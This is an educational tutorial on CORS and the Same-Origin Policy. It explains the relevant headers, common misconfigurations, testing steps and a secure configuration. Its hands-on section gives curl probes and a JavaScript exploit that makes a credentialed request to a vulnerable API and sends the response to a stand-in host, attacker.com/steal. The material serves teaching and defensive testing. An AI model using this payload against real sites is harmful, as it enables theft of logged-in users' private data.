CORS (Cross-Origin Resource Sharing)
What You Will Learn
- What the Same-Origin Policy (SOP) is and why it exists
- What CORS is and how it relaxes the SOP
- How misconfigured CORS leads to cross-origin data theft
- How to test for CORS vulnerabilities
What Is It?
CORS (Cross-Origin Resource Sharing) is an HTTP header-based mechanism that allows a server to indicate which origins (domains, schemes, or ports) other than its own are permitted to load resources from it.
CORS is a controlled relaxation of the Same-Origin Policy (SOP) — a browser security rule that prevents a web page from making requests to a different origin (domain, protocol, or port) than the one that served it.
Why It Matters
A misconfigured CORS policy can allow an attacker’s website to make authenticated requests to a victim web application on behalf of a logged-in user and read the response. This can expose sensitive user data, session tokens, and private API responses.
Key Concepts
Same-Origin Policy (SOP)
The Same-Origin Policy is a browser rule that blocks cross-origin reads by default. Two URLs have the same origin if they have the same protocol + domain + port.
| URL | Same origin as https://example.com? |
|---|---|
https://example.com/page | Yes |
http://example.com | No (different protocol) |
https://sub.example.com | No (different subdomain) |
https://example.com:8080 | No (different port) |
Without SOP, a malicious site could read your bank balance while you’re logged in.
CORS Headers
Request header (sent by browser):
Origin: https://attacker.com
Response headers (sent by server):
Access-Control-Allow-Origin: https://trusted.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type
If a server responds with Access-Control-Allow-Origin: * (wildcard), any origin can read the response — but credentials (cookies) cannot be included with a wildcard.
The dangerous combination is:
Access-Control-Allow-Origin: https://attacker.com (reflects attacker's origin)
Access-Control-Allow-Credentials: true
This allows an attacker’s site to make credentialed requests and read private responses.
Hands-On
Testing for CORS Misconfiguration
# Probe whether the server reflects the Origin header
curl -H "Origin: https://attacker.com" -I https://target.com/api/user
Look for:
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
Exploiting CORS to Steal Data
If a server reflects any origin with credentials allowed, an attacker can host this JavaScript on their site to steal data:
<script>
fetch('https://vulnerable.com/api/user', {
credentials: 'include' // sends cookies
})
.then(response => response.json())
.then(data => {
// Exfiltrate the data to the attacker's server
fetch('https://attacker.com/steal?data=' + JSON.stringify(data));
});
</script>
Common Misconfigurations to Test
- Reflects any origin: Server echoes back
Originheader inAccess-Control-Allow-Origin. - Null origin: Server allows
Origin: null(triggered from sandboxed iframes). - Prefix/suffix matching only: Server allows
https://example.com.attacker.combecause it only checks if the value starts withhttps://example.com.
# Test null origin
curl -H "Origin: null" https://target.com/api/sensitive
Secure CORS Configuration
Access-Control-Allow-Origin: https://trusted-partner.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
Only whitelist origins you explicitly trust. Never use Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true — this combination is not permitted by browsers, but reflecting attacker origins is equally dangerous.